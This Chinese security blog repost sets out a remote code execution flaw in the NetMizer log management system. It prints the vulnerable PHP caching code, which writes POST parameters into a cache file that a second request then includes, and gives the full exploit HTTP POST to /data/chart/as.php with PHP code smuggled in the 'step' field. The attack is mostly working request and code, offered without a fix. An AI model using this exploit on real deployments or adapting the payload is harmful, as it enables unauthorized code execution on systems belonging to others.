NetMizer日志管理系统

admin 2024年2月27日10:25:43评论16 views字数 1439阅读4分47秒阅读模式
这是去年其中一个项目遇见的了,挺简单的。

这套系统挺多洞的,发一个include导致的rce吧。

直接回归主题


文件var/www/html/log/server/data/cache/common_cache.php

<?php  $_time = 1800;//缓存的有效时间的,单位是秒  $dir="../cache/cache_file";//缓存文件的目录,必需是已经存在的目录    $strs = explode("_dc=", $_SERVER['REQUEST_URI']);  if(isset($strs[1]) && strlen($strs[1]) > 14 ) $str1 = substr($strs[1], 14);  else $str1 = "";  $url = $strs[0].$str1;


  if(count($_POST)){    foreach($_POST as $k => $v){      $url .= "&".$k."=".$v;    }  }


  function cache_start($_time, $dir)//缓存开始的处理{    global $url;


    //$cachefile = $dir.'/'.sha1($_SERVER['REQUEST_URI']).'.html';    $cachefile = $dir.'/'.sha1($url).'.html';    $cachetime = $_time;    ob_start();    if(file_exists($cachefile) && (time( )-$cachetime < filemtime($cachefile)))    {    include($cachefile);    ob_end_flush();    exit;    }  }  function cache_end($dir)//缓存结束的处理{    global $url;    $cachefile = $dir.'/'.sha1($url).'.html';    $fp = fopen($cachefile, 'w');    fwrite($fp, ob_get_contents());    fclose($fp);    ob_end_flush();  }?>


函数cache_start,如果文件存在就会include文件
文件var/www/html/log/server/datachartas.php
调用了cache_start、cache_end函数
所以第一步访问,产生缓存
第二步访问,include

POST /data/chart/as.php HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36X-Requested-With: XMLHttpRequestAccept: */*Origin: http://xxxReferer: http://xxx/main.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 48


action=getlogin&step=123123<?php var_dump(11);?>

NetMizer日志管理系统

再次发包

NetMizer日志管理系统

原文始发于微信公众号(安全学习与分享):NetMizer日志管理系统

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月27日10:25:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NetMizer日志管理系统http://cn-sec.com/archives/2528298.html

发表评论

匿名网友 填写信息